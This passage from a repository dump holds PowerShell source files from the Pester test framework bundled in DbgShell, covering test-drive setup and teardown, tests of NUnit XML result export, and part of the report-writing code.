$second.name } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/TestDrive.ps1 ================================================ function New-TestDrive ([Switch]$PassThru) { $Path = New-RandomTempDirectory $DriveName = "TestDrive" if (-not (& $SafeCommands['Test-Path'] -Path $Path)) { & $SafeCommands['New-Item'] -ItemType Container -Path $Path | & $SafeCommands['Out-Null'] } #setup the test drive if ( -not (& $SafeCommands['Test-Path'] "${DriveName}:\") ) { & $SafeCommands['New-PSDrive'] -Name $DriveName -PSProvider FileSystem -Root $Path -Scope Global -Description "Pester test drive" | & $SafeCommands['Out-Null'] } #publish the global TestDrive variable used in few places within the module if (-not (& $SafeCommands['Test-Path'] "Variable:Global:DriveName")) { & $SafeCommands['New-Variable'] -Name $DriveName -Scope Global -Value $Path } if ( $PassThru ) { & $SafeCommands['Get-PSDrive'] -Name $DriveName } } function Clear-TestDrive ([String[]]$Exclude) { $Path = (& $SafeCommands['Get-PSDrive'] -Name TestDrive).Root if (& $SafeCommands['Test-Path'] -Path $Path ) { #Get-ChildItem -Exclude did not seem to work with full paths & $SafeCommands['Get-ChildItem'] -Recurse -Path $Path | & $SafeCommands['Sort-Object'] -Descending -Property "FullName" | & $SafeCommands['Where-Object'] { $Exclude -NotContains $_.FullName } | & $SafeCommands['Remove-Item'] -Force -Recurse } } function New-RandomTempDirectory { do { $tempPath = Get-TempDirectory $Path = & $SafeCommands['Join-Path'] -Path $tempPath -ChildPath ([Guid]::NewGuid()) } until (-not (& $SafeCommands['Test-Path'] -Path $Path )) & $SafeCommands['New-Item'] -ItemType Container -Path $Path } function Get-TestDriveItem { <# .SYNOPSIS The Get-TestDriveItem cmdlet gets the item in Pester test drive. .DESCRIPTION The Get-TestDriveItem cmdlet gets the item in Pester test drive. It does not get the contents of the item at the location unless you use a wildcard character (*) to request all the contents of the item. .PARAMETER Path Specifies the path to an item. The path need to be relative to TestDrive:. This cmdlet gets the item at the specified location. Wildcards are permitted. This parameter is required, but the parameter name ("Path") is optional. .EXAMPLE Get-TestDriveItem MyTestFolder\MyTestFile.txt This command returns the file MyTestFile.txt located in the folder MyTestFolder what is located under TestDrive. .LINK https://github.com/pester/Pester/wiki/TestDrive about_TestDrive #> #moved here from Pester.psm1 param( [string]$Path ) Assert-DescribeInProgress -CommandName Get-TestDriveItem & $SafeCommands['Get-Item'] $(& $SafeCommands['Join-Path'] $TestDrive $Path ) } function Get-TestDriveChildItem { $Path = (& $SafeCommands['Get-PSDrive'] -Name TestDrive).Root if (& $SafeCommands['Test-Path'] -Path $Path ) { & $SafeCommands['Get-ChildItem'] -Recurse -Path $Path } } function Remove-TestDrive { $DriveName = "TestDrive" $Drive = & $SafeCommands['Get-PSDrive'] -Name $DriveName -ErrorAction $script:IgnoreErrorPreference $Path = ($Drive).Root if ($pwd -like "$DriveName*" ) { #will staying in the test drive cause issues? #TODO review this & $SafeCommands['Write-Warning'] -Message "Your current path is set to ${pwd}:. You should leave ${DriveName}:\ before leaving Describe." } if ( $Drive ) { $Drive | & $SafeCommands['Remove-PSDrive'] -Force -ErrorAction $script:IgnoreErrorPreference } if (& $SafeCommands['Test-Path'] -Path $Path) { & $SafeCommands['Remove-Item'] -Path $Path -Force -Recurse } if (& $SafeCommands['Get-Variable'] -Name $DriveName -Scope Global -ErrorAction $script:IgnoreErrorPreference) { & $SafeCommands['Remove-Variable'] -Scope Global -Name $DriveName -Force } } function Setup { #included for backwards compatibility param( [switch]$Dir, [switch]$File, $Path, $Content = "", [switch]$PassThru ) Assert-DescribeInProgress -CommandName Setup $TestDriveName = & $SafeCommands['Get-PSDrive'] TestDrive | & $SafeCommands['Select-Object'] -ExpandProperty Root if ($Dir) { $item = & $SafeCommands['New-Item'] -Name $Path -Path "${TestDriveName}\" -Type Container -Force } if ($File) { $item = $Content | & $SafeCommands['New-Item'] -Name $Path -Path "${TestDriveName}\" -Type File -Force } if($PassThru) { return $item } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/TestResults.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "Write nunit test results (Legacy)" { Setup -Dir "Results" It "should write a successful test result" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Successful testcase","Passed",(New-TimeSpan -Seconds 1)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestCase = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-case' $xmlTestCase.name | Should Be "Successful testcase" $xmlTestCase.result | Should Be "Success" $xmlTestCase.time | Should Be "1" } It "should write a failed test result" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $time = [TimeSpan]::FromSeconds(2.5) $TestResults.AddTestResult("Failed testcase","Failed",$time,'Assert failed: "Expected: Test. But was: Testing"','at line: 28 in C:\Pester\Result.Tests.ps1') #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestCase = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-case' $xmlTestCase.name | Should Be "Failed testcase" $xmlTestCase.result | Should Be "Failure" $xmlTestCase.time | Should Be "2.5" $xmlTestCase.failure.message | Should Be 'Assert failed: "Expected: Test. But was: Testing"' $xmlTestCase.failure.'stack-trace' | Should Be 'at line: 28 in C:\Pester\Result.Tests.ps1' } It "should write the test summary" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Testcase","Passed",(New-TimeSpan -Seconds 1)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestResult = $xmlResult.'test-results' $xmlTestResult.total | Should Be 1 $xmlTestResult.failures | Should Be 0 $xmlTestResult.date | Should Be $true $xmlTestResult.time | Should Be $true } it "should write the test-suite information" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Successful testcase","Passed",[timespan]10000000) #1.0 seconds $TestResults.AddTestResult("Successful testcase","Passed",[timespan]11000000) #1.1 seconds #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestResult = $xmlResult.'test-results'.'test-suite'.results.'test-suite' $description = $null if ($xmlTestResult.PSObject.Properties['description']) { $description = $xmlTestResult.description } $xmlTestResult.type | Should Be "PowerShell" $xmlTestResult.name | Should Be "Mocked Describe" $description | Should BeNullOrEmpty $xmlTestResult.result | Should Be "Success" $xmlTestResult.success | Should Be "True" $xmlTestResult.time | Should Be 2.1 } it "should write two test-suite elements for two describes" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe #1') $TestResults.AddTestResult("Successful testcase","Passed",(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() $testResults.EnterDescribe('Describe #2') $TestResults.AddTestResult("Failed testcase","Failed",(New-TimeSpan -Seconds 2)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestSuite1 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[0] $description = $null if ($xmlTestSuite1.PSObject.Properties['description']) { $description = $xmlTestSuite1.description } $xmlTestSuite1.name | Should Be "Describe #1" $description | Should BeNullOrEmpty $xmlTestSuite1.result | Should Be "Success" $xmlTestSuite1.success | Should Be "True" $xmlTestSuite1.time | Should Be 1.0 $xmlTestSuite2 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[1] $description = $null if ($xmlTestSuite2.PSObject.Properties['description']) { $description = $xmlTestSuite2.description } $xmlTestSuite2.name | Should Be "Describe #2" $description | Should BeNullOrEmpty $xmlTestSuite2.result | Should Be "Failure" $xmlTestSuite2.success | Should Be "False" $xmlTestSuite2.time | Should Be 2.0 } it "should write parent results in tree correctly" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Failed') $TestResults.AddTestResult("Failed","Failed") $TestResults.AddTestResult("Skipped","Skipped") $TestResults.AddTestResult("Pending","Pending") $TestResults.AddTestResult("Passed","Passed") $TestResults.LeaveDescribe() $testResults.EnterDescribe('Skipped') $TestResults.AddTestResult("Skipped","Skipped") $TestResults.AddTestResult("Pending","Pending") $TestResults.AddTestResult("Passed","Passed") $TestResults.LeaveDescribe() $testResults.EnterDescribe('Pending') $TestResults.AddTestResult("Pending","Pending") $TestResults.AddTestResult("Passed","Passed") $TestResults.LeaveDescribe() $testResults.EnterDescribe('Passed') $TestResults.AddTestResult("Passed","Passed") $TestResults.LeaveDescribe() #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestSuite1 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[0] $xmlTestSuite1.name | Should Be "Failed" $xmlTestSuite1.result | Should Be "Failure" $xmlTestSuite1.success | Should Be "False" $xmlTestSuite2 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[1] $xmlTestSuite2.name | Should Be "Skipped" $xmlTestSuite2.result | Should Be "Ignored" $xmlTestSuite2.success | Should Be "True" $xmlTestSuite3 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[2] $xmlTestSuite3.name | Should Be "Pending" $xmlTestSuite3.result | Should Be "Inconclusive" $xmlTestSuite3.success | Should Be "True" $xmlTestSuite4 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[3] $xmlTestSuite4.name | Should Be "Passed" $xmlTestSuite4.result | Should Be "Success" $xmlTestSuite4.success | Should Be "True" } it "should write the environment information" { $state = New-PesterState "." $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $state $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlEnvironment = $xmlResult.'test-results'.'environment' $xmlEnvironment.'os-Version' | Should Be $true $xmlEnvironment.platform | Should Be $true $xmlEnvironment.cwd | Should Be (Get-Location).Path if ($env:Username) { $xmlEnvironment.user | Should Be $env:Username } $xmlEnvironment.'machine-name' | Should Be $env:ComputerName } it "Should validate test results against the nunit 2.5 schema" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe #1') $TestResults.AddTestResult("Successful testcase","Passed",(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() $testResults.EnterDescribe('Describe #2') $TestResults.AddTestResult("Failed testcase","Failed",(New-TimeSpan -Seconds 2)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xml = [xml] (Get-Content $testFile) $schemePath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $xml.Schemas.Add($null,$schemePath) > $null { $xml.Validate({throw $args.Exception }) } | Should Not Throw } it "handles special characters in block descriptions well -!@#$%^&*()_+`1234567890[];'',./""- " { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe -!@#$%^&*()_+`1234567890[];'',./"- #1') $TestResults.AddTestResult("Successful testcase -!@#$%^&*()_+`1234567890[];'',./""-","Passed",(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xml = [xml] (Get-Content $testFile) $schemePath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $xml.Schemas.Add($null,$schemePath) > $null { $xml.Validate({throw $args.Exception }) } | Should Not Throw } Context 'Exporting Parameterized Tests (New Legacy)' { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult( 'Parameterized Testcase One', 'Passed', (New-TimeSpan -Seconds 1), $null, $null, 'Parameterized Testcase ', @{ Parameter = 'One' } ) $TestResults.AddTestResult( 'Parameterized Testcase ', 'Failed', (New-TimeSpan -Seconds 1), 'Assert failed: "Expected: Test. But was: Testing"', 'at line: 28 in C:\Pester\Result.Tests.ps1', 'Parameterized Testcase ', @{ Parameter = 'Two' } ) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) It 'should write parameterized test results correctly' { $xmlTestSuite = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-suite' $description = $null if ($xmlTestSuite.PSObject.Properties['description']) { $description = $xmlTestSuite.description } $xmlTestSuite.name | Should Be 'Parameterized Testcase ' $description | Should BeNullOrEmpty $xmlTestSuite.type | Should Be 'ParameterizedTest' $xmlTestSuite.result | Should Be 'Failure' $xmlTestSuite.success | Should Be 'False' $xmlTestSuite.time | Should Be '2' foreach ($testCase in $xmlTestSuite.results.'test-case') { $testCase.Name | Should Match '^Parameterized Testcase (One|)$' $testCase.time | Should Be 1 } } it 'Should validate test results against the nunit 2.5 schema' { $schemaPath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $null = $xmlResult.Schemas.Add($null,$schemaPath) { $xmlResult.Validate({throw $args.Exception }) } | Should Not Throw } } } Describe "Write nunit test results (Newer format)" { Setup -Dir "Results" It "should write a successful test result" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Successful testcase",'Passed',(New-TimeSpan -Seconds 1)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestCase = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-case' $xmlTestCase.name | Should Be "Mocked Describe.Successful testcase" $xmlTestCase.result | Should Be "Success" $xmlTestCase.time | Should Be "1" } It "should write a failed test result" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $time = [TimeSpan]25000000 #2.5 seconds $TestResults.AddTestResult("Failed testcase",'Failed',$time,'Assert failed: "Expected: Test. But was: Testing"','at line: 28 in C:\Pester\Result.Tests.ps1') #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestCase = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-case' $xmlTestCase.name | Should Be "Mocked Describe.Failed testcase" $xmlTestCase.result | Should Be "Failure" $xmlTestCase.time | Should Be "2.5" $xmlTestCase.failure.message | Should Be 'Assert failed: "Expected: Test. But was: Testing"' $xmlTestCase.failure.'stack-trace' | Should Be 'at line: 28 in C:\Pester\Result.Tests.ps1' } It "should write the test summary" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Testcase",'Passed',(New-TimeSpan -Seconds 1)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestResult = $xmlResult.'test-results' $xmlTestResult.total | Should Be 1 $xmlTestResult.failures | Should Be 0 $xmlTestResult.date | Should Be $true $xmlTestResult.time | Should Be $true } it "should write the test-suite information" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Successful testcase",'Passed',[timespan]10000000) #1.0 seconds $TestResults.AddTestResult("Successful testcase",'Passed',[timespan]11000000) #1.1 seconds #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestResult = $xmlResult.'test-results'.'test-suite'.results.'test-suite' $xmlTestResult.type | Should Be "TestFixture" $xmlTestResult.name | Should Be "Mocked Describe" $xmlTestResult.description | Should Be "Mocked Describe" $xmlTestResult.result | Should Be "Success" $xmlTestResult.success | Should Be "True" $xmlTestResult.time | Should Be 2.1 } it "should write two test-suite elements for two describes" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe #1') $TestResults.AddTestResult("Successful testcase",'Passed',(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() $testResults.EnterDescribe('Describe #2') $TestResults.AddTestResult("Failed testcase",'Failed',(New-TimeSpan -Seconds 2)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestSuite1 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[0] $xmlTestSuite1.name | Should Be "Describe #1" $xmlTestSuite1.description | Should Be "Describe #1" $xmlTestSuite1.result | Should Be "Success" $xmlTestSuite1.success | Should Be "True" $xmlTestSuite1.time | Should Be 1.0 $xmlTestSuite2 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[1] $xmlTestSuite2.name | Should Be "Describe #2" $xmlTestSuite2.description | Should Be "Describe #2" $xmlTestSuite2.result | Should Be "Failure" $xmlTestSuite2.success | Should Be "False" $xmlTestSuite2.time | Should Be 2.0 } it "should write the environment information" { $state = New-PesterState "." $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $state $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlEnvironment = $xmlResult.'test-results'.'environment' $xmlEnvironment.'os-Version' | Should Be $true $xmlEnvironment.platform | Should Be $true $xmlEnvironment.cwd | Should Be (Get-Location).Path if ($env:Username) { $xmlEnvironment.user | Should Be $env:Username } $xmlEnvironment.'machine-name' | Should Be $env:ComputerName } it "Should validate test results against the nunit 2.5 schema" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe #1') $TestResults.AddTestResult("Successful testcase",'Passed',(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() $testResults.EnterDescribe('Describe #2') $TestResults.AddTestResult("Failed testcase",'Failed',(New-TimeSpan -Seconds 2)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xml = [xml] (Get-Content $testFile) $schemePath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $xml.Schemas.Add($null,$schemePath) > $null { $xml.Validate({throw $args.Exception }) } | Should Not Throw } it "handles special characters in block descriptions well -!@#$%^&*()_+`1234567890[];'',./""- " { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe -!@#$%^&*()_+`1234567890[];'',./"- #1') $TestResults.AddTestResult("Successful testcase -!@#$%^&*()_+`1234567890[];'',./""-",'Passed',(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xml = [xml] (Get-Content $testFile) $schemePath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $xml.Schemas.Add($null,$schemePath) > $null { $xml.Validate({throw $args.Exception }) } | Should Not Throw } Context 'Exporting Parameterized Tests (Newer format)' { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult( 'Parameterized Testcase One', 'Passed', (New-TimeSpan -Seconds 1), $null, $null, 'Parameterized Testcase ', @{Parameter = 'One'} ) $parameters = New-Object System.Collections.Specialized.OrderedDictionary $parameters.Add('StringParameter', 'Two') $parameters.Add('NullParameter', $null) $parameters.Add('NumberParameter', -42.67) $TestResults.AddTestResult( 'Parameterized Testcase ', 'Failed', (New-TimeSpan -Seconds 1), 'Assert failed: "Expected: Test. But was: Testing"', 'at line: 28 in C:\Pester\Result.Tests.ps1', 'Parameterized Testcase ', $parameters ) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) It 'should write parameterized test results correctly' { $xmlTestSuite = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-suite' $xmlTestSuite.name | Should Be 'Mocked Describe.Parameterized Testcase ' $xmlTestSuite.description | Should Be 'Parameterized Testcase ' $xmlTestSuite.type | Should Be 'ParameterizedTest' $xmlTestSuite.result | Should Be 'Failure' $xmlTestSuite.success | Should Be 'False' $xmlTestSuite.time | Should Be '2' $testCase1 = $xmlTestSuite.results.'test-case'[0] $testCase2 = $xmlTestSuite.results.'test-case'[1] $testCase1.Name | Should Be 'Mocked Describe.Parameterized Testcase One' $testCase1.Time | Should Be 1 $testCase2.Name | Should Be 'Mocked Describe.Parameterized Testcase ("Two",null,-42.67)' $testCase2.Time | Should Be 1 } it 'Should validate test results against the nunit 2.5 schema' { $schemaPath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $null = $xmlResult.Schemas.Add($null,$schemaPath) { $xmlResult.Validate({throw $args.Exception }) } | Should Not Throw } } } Describe "Get-TestTime" { function Using-Culture { param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [ScriptBlock]$ScriptBlock, [System.Globalization.CultureInfo]$Culture='en-US' ) $oldCulture = [System.Threading.Thread]::CurrentThread.CurrentCulture try { [System.Threading.Thread]::CurrentThread.CurrentCulture = $Culture $ExecutionContext.InvokeCommand.InvokeScript($ScriptBlock) } finally { [System.Threading.Thread]::CurrentThread.CurrentCulture = $oldCulture } } It "output is culture agnostic" { #on cs-CZ, de-DE and other systems where decimal separator is ",". value [double]3.5 is output as 3,5 #this makes some of the tests fail, it could also leak to the nUnit report if the time was output $TestResult = New-Object -TypeName psObject -Property @{ Time = [timespan]35000000 } #3.5 seconds #using the string formatter here to know how the string will be output to screen $Result = { Get-TestTime -Tests $TestResult | Out-String -Stream } | Using-Culture -Culture de-DE $Result | Should Be "3.5" } It "Time is measured in seconds with 0,1 millisecond as lowest value" { $TestResult = New-Object -TypeName psObject -Property @{ Time = [timespan]1000 } Get-TestTime -Tests $TestResult | Should Be 0.0001 $TestResult = New-Object -TypeName psObject -Property @{ Time = [timespan]100 } Get-TestTime -Tests $TestResult | Should Be 0 $TestResult = New-Object -TypeName psObject -Property @{ Time = [timespan]1234567 } Get-TestTime -Tests $TestResult | Should Be 0.1235 } } Describe "GetFullPath" { It "Resolves non existing path correctly" { pushd TestDrive:\ $p = GetFullPath notexistingfile.txt popd $p | Should Be (Join-Path $TestDrive notexistingfile.txt) } It "Resolves existing path correctly" { pushd TestDrive:\ New-Item -ItemType File -Name existingfile.txt $p = GetFullPath existingfile.txt popd $p | Should Be (Join-Path $TestDrive existingfile.txt) } It "Resolves full path correctly" { GetFullPath C:\Windows\System32\notepad.exe | Should Be C:\Windows\System32\notepad.exe } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/TestResults.ps1 ================================================ function Get-HumanTime($Seconds) { if($Seconds -gt 0.99) { $time = [math]::Round($Seconds, 2) $unit = 's' } else { $time = [math]::Floor($Seconds * 1000) $unit = 'ms' } return "$time$unit" } function GetFullPath ([string]$Path) { if (-not [System.IO.Path]::IsPathRooted($Path)) { $Path = & $SafeCommands['Join-Path'] $ExecutionContext.SessionState.Path.CurrentFileSystemLocation $Path } return $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($Path) } function Export-PesterResults { param ( $PesterState, [string] $Path, [string] $Format ) switch ($Format) { 'LegacyNUnitXml' { Export-NUnitReport -PesterState $PesterState -Path $Path -LegacyFormat } 'NUnitXml' { Export-NUnitReport -PesterState $PesterState -Path $Path } default { throw "'$Format' is not a valid Pester export format." } } } function Export-NUnitReport { param ( [parameter(Mandatory=$true,ValueFromPipeline=$true)] $PesterState, [parameter(Mandatory=$true)] [String]$Path, [switch] $LegacyFormat ) #the xmlwriter create method can resolve relatives paths by itself. but its current directory might #be different from what PowerShell sees as the current directory so I have to resolve the path beforehand #working around the limitations of Resolve-Path $Path = GetFullPath -Path $Path $settings = & $SafeCommands['New-Object'] -TypeName Xml.XmlWriterSettings -Property @{ Indent = $true NewLineOnAttributes = $false } $xmlFile = $null $xmlWriter = $null try { $xmlFile = [IO.File]::Create($Path) $xmlWriter = [Xml.XmlWriter]::Create($xmlFile, $settings) Write-NUnitReport -XmlWriter $xmlWriter -PesterState $PesterState -LegacyFormat:$LegacyFormat $xmlWriter.Flush() $xmlFile.Flush() } finally { if ($null -ne $xmlWriter) { try { $xmlWriter.Close() } catch {} } if ($null -ne $xmlFile) { try { $xmlFile.Close() } catch {} } } } function Write-NUnitReport($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { # Write the XML Declaration $XmlWriter.WriteStartDocument($false) # Write Root Element $xmlWriter.WriteStartElement('test-results') Write-NUnitTestResultAttributes @PSBoundParameters Write-NUnitTestResultChildNodes @PSBoundParameters $XmlWriter.WriteEndElement() } function Write-NUnitTestResultAttributes($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $XmlWriter.WriteAttributeString('xmlns','xsi', $null, 'http://www.w3.org/2001/XMLSchema-instance') $XmlWriter.WriteAttributeString('xsi','noNamespaceSchemaLocation', [Xml.Schema.XmlSchema]::InstanceNamespace , 'nunit_schema_2.5.xsd') $XmlWriter.WriteAttributeString('name','Pester') $XmlWriter.WriteAttributeString('total', ($PesterState.TotalCount - $PesterState.SkippedCount)) $XmlWriter.WriteAttributeString('errors', '0') $XmlWriter.WriteAttributeString('failures', $PesterState.FailedCount) $XmlWriter.WriteAttributeString('not-run', '0') $XmlWriter.WriteAttributeString('inconclusive', $PesterState.PendingCount + $PesterState.InconclusiveCount) $XmlWriter.WriteAttributeString('ignored', $PesterState.SkippedCount) $XmlWriter.WriteAttributeString('skipped', '0') $XmlWriter.WriteAttributeString('invalid', '0') $date = & $SafeCommands['Get-Date'] $XmlWriter.WriteAttributeString('date', (& $SafeCommands['Get-Date'] -Date $date -Format 'yyyy-MM-dd')) $XmlWriter.WriteAttributeString('time', (& $SafeCommands['Get-Date'] -Date $date -Format 'HH:mm:ss')) } function Write-NUnitTestResultChildNodes($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { Write-NUnitEnvironmentInformation @PSBoundParameters Write-NUnitCultureInformation @PSBoundParameters $XmlWriter.WriteStartElement('test-suite') Write-NUnitGlobalTestSuiteAttributes @PSBoundParameters $XmlWriter.WriteStartElement('results') Write-NUnitDescribeElements @PSBoundParameters $XmlWriter.WriteEndElement() $XmlWriter.WriteEndElement() } function Write-NUnitEnvironmentInformation($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $XmlWriter.WriteStartElement('environment') $environment = Get-RunTimeEnvironment foreach ($keyValuePair in $environment.GetEnumerator()) { $XmlWriter.WriteAttributeString($keyValuePair.Name, $keyValuePair.Value) } $XmlWriter.WriteEndElement() } function Write-NUnitCultureInformation($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $XmlWriter.WriteStartElement('culture-info') $XmlWriter.WriteAttributeString('current-culture', ([System.Threading.Thread]::CurrentThread.CurrentCulture).Name) $XmlWriter.WriteAttributeString('current-uiculture', ([System.Threading.Thread]::CurrentThread.CurrentUiCulture).Name) $XmlWriter.WriteEndElement() } function Write-NUnitGlobalTestSuiteAttributes($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $XmlWriter.WriteAttributeString('type', 'PowerShell') # TODO: This used to be writing $PesterState.Path, back when that was a single string (and existed.) # Better would be to produce a test suite for each resolved file, rather than for the value # of the path that was passed to Invoke-Pester. $XmlWriter.WriteAttributeString('name', 'Pester') $XmlWriter.WriteAttributeString('executed', 'True') $isSuccess = $PesterState.FailedCount -eq 0 $result = Get-ParentResult $PesterState $XmlWriter.WriteAttributeString('result', $result) $XmlWriter.WriteAttributeString('success',[string]$isSuccess) $XmlWriter.WriteAttributeString('time',(Convert-TimeSpan $PesterState.Time)) $XmlWriter.WriteAttributeString('asserts','0') } function Write-NUnitDescribeElements($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $Describes = $PesterState.TestResult | & $SafeCommands['Group-Object'] -Property Describe if ($null -ne $Describes) { foreach ($currentDescribe in $Describes) { $DescribeInfo = Get-TestSuiteInfo $currentDescribe #Write test suites $XmlWriter.WriteStartElement('test-suite') if ($LegacyFormat) { $suiteType = 'PowerShell' } else { $suiteType = 'TestFixture' } Write-NUnitTestSuiteAttributes -TestSuiteInfo $DescribeInfo -TestSuiteType $suiteType -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat $XmlWriter.WriteStartElement('results') Write-NUnitDescribeChildElements -TestResults $currentDescribe.Group -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat -DescribeName $DescribeInfo.Name $XmlWriter.WriteEndElement() $XmlWriter.WriteEndElement() } } } function Get-TestSuiteInfo ([Microsoft.PowerShell.Commands.GroupInfo]$TestSuiteGroup) { $suite = @{ resultMessage = 'Failure' success = 'False' totalTime = '0.0' name = $TestSuiteGroup.Name description = $TestSuiteGroup.Name } #calculate the time first, I am converting the time into string in the TestCases $suite.totalTime = (Get-TestTime $TestSuiteGroup.Group) $suite.success = (Get-TestSuccess $TestSuiteGroup.Group) $suite.resultMessage = Get-GroupResult $TestSuiteGroup.Group $suite } function Get-TestTime($tests) { [TimeSpan]$totalTime = 0; if ($tests) { foreach ($test in $tests) { $totalTime += $test.time } } Convert-TimeSpan -TimeSpan $totalTime } function Convert-TimeSpan { param ( 